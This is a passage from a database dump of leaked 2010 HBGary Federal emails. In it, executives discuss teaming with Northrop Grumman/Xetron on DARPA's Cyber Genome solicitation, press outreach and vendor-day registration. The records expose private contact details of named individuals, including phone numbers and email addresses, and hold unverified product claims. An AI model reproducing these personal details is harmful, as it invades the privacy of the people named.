Gillespie. Tim just spun over from ACS (terminated) and is handling \"advocacy.\". Not really his lane but he is a good guy inside the ISD wire.\r\nJim\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nCc: Barnett, Jim H.\r\nSent: Tue Jan 26 22:00:21 2010\r\nSubject: Not sure if you saw this\r\n\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n\r\nLast night DARPA released a Malware Genome Project pre solicitation with the vendor day this Friday and another on Feb. 8th.\r\n\r\nThis is unbelievable to us, HBGary.&nbsp; We have the trademark for the term Digital DNA, we have a product with the same name that automatically analyzes malware and detects zero day attacks with 75% accuracy.&nbsp; We detected the aurora incident as an example, many others.&nbsp; We also have an existing malware genome database that supports our Digital DNA product.&nbsp; This RFP and where the Pentagon is going is right down our lane.\r\n\r\nI had an interesting discussion with Brian Masterson today.&nbsp; We met with the consortium members for our first meeting today.&nbsp; He is concerned about the conflict for building capability and pursuing work separate from NGIS ISD.&nbsp; I am concerned about it as well.&nbsp; I want to partner with Xetron to develop this capability but am anxious at the possibility of getting down the road and getting shutdown because of internal conflicts.\r\n\r\nI guess we can talk more about this Friday, but its on my mind, and I usually don\'t let things sit on my mind long.&nbsp; Honest assessment, NGIS ISD does not have the talent to develop a significant capability.&nbsp; They can integrate.\r\n\r\nWhat I propose is let Xetron and HBGary develop the Threat Intelligence capability.&nbsp; Let NGIS develop the integration of that capability within a larger offering and we can pursue the big contracts all together.\r\n\r\nI think there is still some baggage on the ISD side with my departure.&nbsp; I have no problem talking with anyone else in NG about cooperative pursuits, but I cant get anyone in ISD to return a call, so not sure how that effects things.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10123,'aaron_hbgary_com/10123.html'),(1582,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000476.M104602P3547Q1582.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: I got am idea.','Forgot to ask, Ted reminded me.  Did you get a chance to talk about clearances with the customer?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 27, 2010, at 6:44 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> My concern is whether they are parochial with a \"not invented here\"\r\n> mentality.   So, will Vern Boyle or Chris Valentino sign up?\r\n> \r\n> I have a telephone call with Tom Conroy this afternoon.  \r\n> \r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, January 27, 2010 6:42 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: I got am idea.\r\n> \r\n> Don\'t know.  I am going to talk to Tom about this tact.  I see ours\r\n> actually fitting in to their larger integrated offering.  I don\'t see\r\n> them producing a feed, but you tell me when your their today.  I see us\r\n> providing the brains for their larger integrated offering.\r\n> \r\n> Aaron\r\n> \r\n> On Jan 27, 2010, at 5:02 AM, Masterson, Brian (Xetron) wrote:\r\n> \r\n>> That could work.  But, would NGIS give up on things like Cyberworx\r\n> that\r\n>> they may see as a better capability than ours?  I am not sure if\r\n>> Cyberworx could be a data feed into our system.  I think it may\r\n> overlap\r\n>> too much and is really not a \"data\" generator.  I think it may be a\r\n> big\r\n>> leap for NGIS to just accept our solution.  I would hope that they\r\n> would\r\n>> come into it with a very open mind but I have not seen evidence of\r\n> that\r\n>> type of thought process being present over there yet.\r\n>> \r\n>> Brian\r\n>> \r\n>> Brian Masterson\r\n>> Northrop Grumman/Xetron\r\n>> Chief Technology Officer, IO Programs\r\n>> Ph: 513-881-3591\r\n>> Cell: 513-706-4848\r\n>> Fax: 513-881-3543\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Tuesday, January 26, 2010 10:36 PM\r\n>> To: Masterson, Brian (Xetron)\r\n>> Subject: Re: I got am idea.\r\n>> \r\n>> My thought here is Xetron and HBGary develop the intelligence piece\r\n> and\r\n>> specialize in the expertise for doing threat intelligence and advanced\r\n>> threat analysis.  NGIS does the larger offering, bodyshop, integration\r\n>> on various platforms, security appliances, etc.\r\n>> \r\n>> They still get the bigger piece of the pie, which is fair, since they\r\n>> have the charter to do that, we get to do the stuff we want to do and\r\n>> marry it to the larger offerings.\r\n>> \r\n>> Thoughts?\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Jan 26, 2010, at 9:53 PM, Aaron Barr wrote:\r\n>> \r\n>>> What if we talk to IS and work out am arrangment.\r\n>>> \r\n>>> From my iPhone\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10714,'aaron_hbgary_com/10714.html'),(1583,'2010-01-27','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000476.M363173P3547Q1583.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Not sure if you saw this','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJeez.&nbsp;&nbsp; What an assessment!&nbsp; I hope I never hear someone talk about\r\nXetron in that way.&nbsp; Sort of sad to hear from that level.&nbsp; I just don&#8217;t get how\r\nMillersville does not address their mgmt&#8217;s plan.&nbsp; But then, if ISD mgmt was\r\nunhappy with them then why is Chris still in place and Vern is now Kathy&#8217;s TD?&nbsp;\r\nSeems like there is a piece of the puzzle missing.\r\n\r\n&nbsp;\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3543 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, January 27, 2010 8:10 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Fwd: Not sure if you saw this\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYou\'ll appreciate this...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Barnett,\r\nJim H.&quot; &lt;Jim.H.Barnett@ngc.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nJanuary\r\n27, 2010 7:46:16 AM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&lt;aaron@hbgary.com&gt;, &quot;Conroy, Thomas\r\nW.&quot; &lt;Tom.Conroy@ngc.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRe: Not sure if you saw this\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGood morning\r\nAaron...they don\'t return my calls either, it isn\'t personal I\'m sure. ;-).\r\nI doubt they have the tallent either, but I suspect they think they do.&nbsp;\r\nSince they did not fare well on the last DARPA competetion, they will want to\r\nimprove on their record.&nbsp; But I also think they will want to sustain the\r\nmanpower on site (Millersville) and a potential new opportunity might do the\r\ntrick.&nbsp;\r\nSo if they won\'t answer the phone, how does one propose a teaming arrangement\r\nsuch as you describe?&nbsp; I wil assume that Xetron will answer your call so I\r\nmight suggest that.&nbsp;\r\nThe problem with Millersville (there are a few) is that they don\'t really share\r\nthe &quot;big integration&quot; theme that ISD management espouses.&nbsp; They\r\nfeel they are good at tools and they need to prove thatm. So far, they have\r\nbeen less than successful but you have to give them credit for trying.&nbsp;\r\nGiven their closed environment, they can hardly be expected to be integrators.\r\nThere is a lot of pressure out there right now to perform...win first.&nbsp;\r\nSolution...maybe...talk to either Kathy or Tim Gillespie. Tim just spun over\r\nfrom ACS (terminated) and is handling &quot;advocacy.&quot;. Not really his\r\nlane but he is a good guy inside the ISD wire.\r\nJim\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nCc: Barnett, Jim H.\r\nSent: Tue Jan 26 22:00:21 2010\r\nSubject: Not sure if you saw this\r\n\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n\r\nLast night DARPA released a Malware Genome Project pre solicitation with the\r\nvendor day this Friday and another on Feb. 8th.\r\n\r\nThis is unbelievable to us, HBGary.&nbsp; We have the trademark for the term\r\nDigital DNA, we have a product with the same name that automatically analyzes\r\nmalware and detects zero day attacks with 75% accuracy.&nbsp; We detected the\r\naurora incident as an example, many others.&nbsp; We also have an existing\r\nmalware genome database that supports our Digital DNA product.&nbsp; This RFP\r\nand where the Pentagon is going is right down our lane.\r\n\r\nI had an interesting discussion with Brian Masterson today.&nbsp; We met with\r\nthe consortium members for our first meeting today.&nbsp; He is concerned about\r\nthe conflict for building capability and pursuing work separate from NGIS\r\nISD.&nbsp; I am concerned about it as well.&nbsp; I want to partner with Xetron\r\nto develop this capability but am anxious at the possibility of getting down\r\nthe road and getting shutdown because of internal conflicts.\r\n\r\nI guess we can talk more about this Friday, but its on my mind, and I usually\r\ndon\'t let things sit on my mind long.&nbsp; Honest assessment, NGIS ISD does\r\nnot have the talent to develop a significant capability.&nbsp; They can\r\nintegrate.\r\n\r\nWhat I propose is let Xetron and HBGary develop the Threat Intelligence\r\ncapability.&nbsp; Let NGIS develop the integration of that capability within a\r\nlarger offering and we can pursue the big contracts all together.\r\n\r\nI think there is still some baggage on the ISD side with my departure.&nbsp; I\r\nhave no problem talking with anyone else in NG about cooperative pursuits, but\r\nI cant get anyone in ISD to return a call, so not sure how that effects things.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5926,'aaron_hbgary_com/5926.html'),(1584,'2010-01-27','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000476.M549679P3547Q1584.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I got am idea.','I have an email into Steve Coleman who was meeting with the COTR\r\nyesterday.  No reply yet.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 27, 2010 8:20 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: I got am idea.\r\n\r\nForgot to ask, Ted reminded me.  Did you get a chance to talk about\r\nclearances with the customer?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 27, 2010, at 6:44 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> My concern is whether they are parochial with a \"not invented here\"\r\n> mentality.   So, will Vern Boyle or Chris Valentino sign up?\r\n> \r\n> I have a telephone call with Tom Conroy this afternoon.  \r\n> \r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, January 27, 2010 6:42 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: I got am idea.\r\n> \r\n> Don\'t know.  I am going to talk to Tom about this tact.  I see ours\r\n> actually fitting in to their larger integrated offering.  I don\'t see\r\n> them producing a feed, but you tell me when your their today.  I see\r\nus\r\n> providing the brains for their larger integrated offering.\r\n> \r\n> Aaron\r\n> \r\n> On Jan 27, 2010, at 5:02 AM, Masterson, Brian (Xetron) wrote:\r\n> \r\n>> That could work.  But, would NGIS give up on things like Cyberworx\r\n> that\r\n>> they may see as a better capability than ours?  I am not sure if\r\n>> Cyberworx could be a data feed into our system.  I think it may\r\n> overlap\r\n>> too much and is really not a \"data\" generator.  I think it may be a\r\n> big\r\n>> leap for NGIS to just accept our solution.  I would hope that they\r\n> would\r\n>> come into it with a very open mind but I have not seen evidence of\r\n> that\r\n>> type of thought process being present over there yet.\r\n>> \r\n>> Brian\r\n>> \r\n>> Brian Masterson\r\n>> Northrop Grumman/Xetron\r\n>> Chief Technology Officer, IO Programs\r\n>> Ph: 513-881-3591\r\n>> Cell: 513-706-4848\r\n>> Fax: 513-881-3543\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Tuesday, January 26, 2010 10:36 PM\r\n>> To: Masterson, Brian (Xetron)\r\n>> Subject: Re: I got am idea.\r\n>> \r\n>> My thought here is Xetron and HBGary develop the intelligence piece\r\n> and\r\n>> specialize in the expertise for doing threat intelligence and\r\nadvanced\r\n>> threat analysis.  NGIS does the larger offering, bodyshop,\r\nintegration\r\n>> on various platforms, security appliances, etc.\r\n>> \r\n>> They still get the bigger piece of the pie, which is fair, since they\r\n>> have the charter to do that, we get to do the stuff we want to do and\r\n>> marry it to the larger offerings.\r\n>> \r\n>> Thoughts?\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Jan 26, 2010, at 9:53 PM, Aaron Barr wrote:\r\n>> \r\n>>> What if we talk to IS and work out am arrangment.\r\n>>> \r\n>>> From my iPhone\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16846,'aaron_hbgary_com/16846.html'),(1585,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000476.M786760P3547Q1585.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Not sure if you saw this','The piece of the puzzle missing is they are sold into the bag of goods. &nbsp;They think the answer is TU and the Range capability... I think they are starting to realize the shortcomings of that strategy but its like waiting for an 1 1/2 in a 2 hour line...your committed what do you do, push the horse your on to produce or get a new horse... and Kathy and Dan don\'t have the vision for cyber to make that hard choice.If not Chris and Vern than who? &nbsp;There isn\'t anyone else...they would have to pull externally.AaronOn Jan 27, 2010, at 8:24 AM, Masterson, Brian (Xetron) wrote:Jeez.&nbsp;&nbsp; What an assessment!&nbsp; I hope I never hear someone talk about Xetron in that way.&nbsp; Sort of sad to hear from that level.&nbsp; I just don’t get how Millersville does not address their mgmt’s plan.&nbsp; But then, if ISD mgmt was unhappy with them then why is Chris still in place and Vern is now Kathy’s TD?&nbsp; Seems like there is a piece of the puzzle missing.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3543From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, January 27, 2010 8:10 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Fwd: Not sure if you saw this&nbsp;You\'ll appreciate this...&nbsp;Begin forwarded message:From:&nbsp;\"Barnett, Jim H.\" &lt;Jim.H.Barnett@ngc.com&gt;Date:&nbsp;January 27, 2010 7:46:16 AM ESTTo:&nbsp;&lt;aaron@hbgary.com&gt;, \"Conroy, Thomas W.\" &lt;Tom.Conroy@ngc.com&gt;Subject: Re: Not sure if you saw this&nbsp;Good morning Aaron...they don\'t return my calls either, it isn\'t personal I\'m sure. ;-).I doubt they have the tallent either, but I suspect they think they do.&nbsp; Since they did not fare well on the last DARPA competetion, they will want to improve on their record.&nbsp; But I also think they will want to sustain the manpower on site (Millersville) and a potential new opportunity might do the trick.&nbsp;So if they won\'t answer the phone, how does one propose a teaming arrangement such as you describe?&nbsp; I wil assume that Xetron will answer your call so I might suggest that.&nbsp;The problem with Millersville (there are a few) is that they don\'t really share the \"big integration\" theme that ISD management espouses.&nbsp; They feel they are good at tools and they need to prove thatm. So far, they have been less than successful but you have to give them credit for trying.&nbsp; Given their closed environment, they can hardly be expected to be integrators.There is a lot of pressure out there right now to perform...win first.&nbsp;Solution...maybe...talk to either Kathy or Tim Gillespie. Tim just spun over from ACS (terminated) and is handling \"advocacy.\". Not really his lane but he is a good guy inside the ISD wire.Jim----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: Conroy, Thomas W.Cc: Barnett, Jim H.Sent: Tue Jan 26 22:00:21 2010Subject: Not sure if you saw thishttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/Last night DARPA released a Malware Genome Project pre solicitation with the vendor day this Friday and another on Feb. 8th.This is unbelievable to us, HBGary.&nbsp; We have the trademark for the term Digital DNA, we have a product with the same name that automatically analyzes malware and detects zero day attacks with 75% accuracy.&nbsp; We detected the aurora incident as an example, many others.&nbsp; We also have an existing malware genome database that supports our Digital DNA product.&nbsp; This RFP and where the Pentagon is going is right down our lane.I had an interesting discussion with Brian Masterson today.&nbsp; We met with the consortium members for our first meeting today.&nbsp; He is concerned about the conflict for building capability and pursuing work separate from NGIS ISD.&nbsp; I am concerned about it as well.&nbsp; I want to partner with Xetron to develop this capability but am anxious at the possibility of getting down the road and getting shutdown because of internal conflicts.I guess we can talk more about this Friday, but its on my mind, and I usually don\'t let things sit on my mind long.&nbsp; Honest assessment, NGIS ISD does not have the talent to develop a significant capability.&nbsp; They can integrate.What I propose is let Xetron and HBGary develop the Threat Intelligence capability.&nbsp; Let NGIS develop the integration of that capability within a larger offering and we can pursue the big contracts all together.I think there is still some baggage on the ISD side with my departure.&nbsp; I have no problem talking with anyone else in NG about cooperative pursuits, but I cant get anyone in ISD to return a call, so not sure how that effects things.Thoughts?Aaron BarrCEOHBGary Federal Inc.&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5548,'aaron_hbgary_com/5548.html'),(1586,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000477.M11831P3547Q1586.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','http://www.digitaldnagroup.com/On Jan 26, 2010, at 2:12 PM, Penny Leavy-Hoglund wrote:When you talk to him, please tell him Digital DNA is pending trademark approval and we should have it soon&nbsp;From:&nbsp;Karen Burke [mailto:karenmaryburke@yahoo.com]&nbsp;Sent:&nbsp;Tuesday, January 26, 2010 9:27 AMTo:&nbsp;Aaron BarrCc:&nbsp;penny@hbgary.com;&nbsp;greg@hbgary.comSubject:&nbsp;Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers&nbsp;Hi Aaron, I already spoke with reporter Brian Krebs and he is interested in the story. I sent&nbsp; him the Wired piece and our Palantir announcement, which is a great news hook. That said, I will pitch&nbsp;our other key security/government pubs. Aside from our ability to ID hackers, anything else that will help advance this story -- are you finding that this is an increasingly important&nbsp;technology ability&nbsp;for government agencies? Do we work with the Pentagon? Thanks, Karen--- On&nbsp;Tue, 1/26/10, Aaron Barr&nbsp;&lt;aaron@hbgary.com&gt;&nbsp;wrote:From: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Pentagon Searches for ‘Digital DNA’ to Identify HackersTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc:&nbsp;penny@hbgary.com,&nbsp;greg@hbgary.comDate: Tuesday, January 26, 2010, 8:09 AMIs it possible to get in with Wired for an interview talking about our existing capabilities? &nbsp;how do we leverage this?&nbsp;Aaron&nbsp;&nbsp;On Jan 26, 2010, at 10:58 AM, Karen Burke wrote:Take a look at this story in today\'s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary\'s Digital DNA already solve this problem?&nbsp;Pentagon Searches for ‘Digital DNA’ to Identify Hackershttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2336,'aaron_hbgary_com/2336.html'),(1587,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000477.M192970P3547Q1587.eml','\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Interesting Article','http://www.wired.com/dangerroom/2010/01/pentagon-report-calls-for-office-of-strategic-deception/\r\n\r\nAll heading in the right direction. :)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10502,'aaron_hbgary_com/10502.html'),(1588,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000477.M399019P3547Q1588.eml','mjunod@atl.lmco.com,mjunod@atl.lmco.com','Cyber Genome Project','Michael,\r\n\r\nI noticed your listed as an interested Vendor on the DARPA Malware Genome Project FBO page.  I am interested in talking with you about this opportunity.  HBGary actually has an existing working malware genome and Digital DNA product.  We are very successful at detecting zero day attacks based on this technology, including multiple tested variants of Aurora and many other malware that go undetected by AV.\r\n\r\nThanks,\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8240,'aaron_hbgary_com/8240.html'),(1589,'2010-01-27','\"Mike Junod\" <mjunod@atl.lmco.com>','/aaron@hbgary.com/new/1297000477.M583892P3547Q1589.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Cyber Genome Project','Aaron,\r\n\r\nWill you or someone from your organization be attending either of the  \r\nIndustry Days where we could talk?\r\n\r\nOn Jan 27, 2010, at 9:04 AM, Aaron Barr wrote:\r\n\r\n> Michael,\r\n>\r\n> I noticed your listed as an interested Vendor on the DARPA Malware  \r\n> Genome Project FBO page.  I am interested in talking with you about  \r\n> this opportunity.  HBGary actually has an existing working malware  \r\n> genome and Digital DNA product.  We are very successful at detecting  \r\n> zero day attacks based on this technology, including multiple tested  \r\n> variants of Aurora and many other malware that go undetected by AV.\r\n>\r\n> Thanks,\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n\r\n\r\nMike\r\n\r\n',15919,'aaron_hbgary_com/15919.html'),(1590,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000477.M774523P3547Q1590.eml','\"Mike Junod\" <mjunod@atl.lmco.com>,\"Mike Junod\" <mjunod@atl.lmco.com>,,,,','Re: Cyber Genome Project','Right now we are registered for the second session and are also\r\nscheduled to present.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 27, 2010, at 9:07 AM, Mike Junod  wrote:\r\n\r\n> Aaron,\r\n>\r\n> Will you or someone from your organization be attending either of\r\n> the Industry Days where we could talk?\r\n>\r\n> On Jan 27, 2010, at 9:04 AM, Aaron Barr wrote:\r\n>\r\n>> Michael,\r\n>>\r\n>> I noticed your listed as an interested Vendor on the DARPA Malware\r\n>> Genome Project FBO page.  I am interested in talking with you about\r\n>> this opportunity.  HBGary actually has an existing working malware\r\n>> genome and Digital DNA product.  We are very successful at\r\n>> detecting zero day attacks based on this technology, including\r\n>> multiple tested variants of Aurora and many other malware that go\r\n>> undetected by AV.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>\r\n>\r\n> Mike\r\n>\r\n',7132,'aaron_hbgary_com/7132.html'),(1591,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000477.M987351P3547Q1591.eml','\"Kathy Warden\" <kathy.warden@ngc.com>','DARPA Opportunity and others','Hi Kathy,\r\n\r\nI was wondering if I could fit into your schedule to discuss some opportunities, one of which is the recently posted DARPA Malware Genome Project.  HBGary has an existing malware genome and associated Digital DNA(tm)  product (a host agent) that is 75% effective against detecting zero day attacks.   As far as we know we currently have one of the only mature capabilities in this area.\r\n\r\nI have a few other opportunities I would like to discuss with you as well.  I would have reached out to Chris directly, but thought it was best if I talk with you first.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7337,'aaron_hbgary_com/7337.html'),(1592,'2010-01-27','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000478.M155761P3547Q1592.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny C. Leavy\" <penny@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','FW: Confirmation for DARPA\'s Cyber Genome Proposers Day Conference','The registration is open again for this Friday\'s meeting.  I just\r\nregistered.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: agrosvenor@sysplan.com [mailto:agrosvenor@sysplan.com] \r\nSent: Wednesday, January 27, 2010 10:10 AM\r\nTo: rich@hbgary.com\r\nSubject: Confirmation for DARPA\'s Cyber Genome Proposers Day Conference\r\n\r\nThis is a confirmation notice for your registration to attend the \r\nDARPA\'s Cyber Genome Proposers Day Conference.  Details of your registration\r\nappear below.\r\n\r\nThank You,   for using the\r\n secure online registration form\r\n\r\n***************************************************************************\r\n*                              DARPA\'s Cyber Genome Proposers Day Conference\r\n\r\n*                              Registration Form\r\n*                              SN# 1272010100757\r\n***************************************************************************\r\n___________________________________________________________________________\r\nPersonal Information\r\n	 CTO Richard Cummings\r\n	 HBGary, Inc\r\n	 3604 Fair Oaks Blvd\r\n	 Sacramento, CA 95864\r\nPhone:	 703-999-5012\r\nEmail:	 rich@hbgary.com\r\n\r\n\r\n___________________________________________________________________________\r\n\r\n___________________________________________________________________________\r\nA T T E N D A N C E \r\n___________________________________________________________________________\r\n\r\n___________________________________________________________________________\r\nE L E C T I O N S \r\n___________________________________________________________________________\r\n\r\n		    \r\n		    \r\n		    \r\n		    Attendees: 1 \r\n		    \r\n\r\n___________________________________________________________________________\r\n\r\nThank you for using our online service:\r\n\r\nAnne Grosvenor at 703-351-8794\r\n\r\nagrosvenor@sysplan.com\r\n\r\n',5437,'aaron_hbgary_com/5437.html'),(1593,'2010-01-27','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000478.M412719P3547Q1593.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Schedule Interview with The 451 Group analyst Paul Roberts','Hi Aaron, I am waiting for Paul to confirm interview time today -- it is tentatively scheduled for&nbsp;&nbsp;&nbsp; &nbsp;3 PM ET.&nbsp; I am leaving shortly for an offsite so most likely will not be able to participate on the call, alas. They will send us a dial-in.&nbsp;Best, Karen\r\n--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 7:04 PM\r\n\r\nAgreed. &nbsp;That\'s what I was elluding to ineffectively.\r\n\r\nAaronFrom my iPhone\r\nOn Jan 26, 2010, at 10:02 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I\'d like to go ahead and schedule you and just tell Paul that Palantir&nbsp;can\'t do the call&nbsp;over the next few days.&nbsp;Paul won\'t be happy if we&nbsp;schedule Palantir and&nbsp;he doesn\'t come on the line.&nbsp;&nbsp;--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:37 PM\r\n\r\nMaybe we could tell them the guy at palantir wasn\'t available last minute. :)From my iPhone\r\nOn Jan 26, 2010, at 9:35 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nOkay thanks Aaron -- are you fairly available tomorrow?--- On Tue, 1/26/10, Aaron 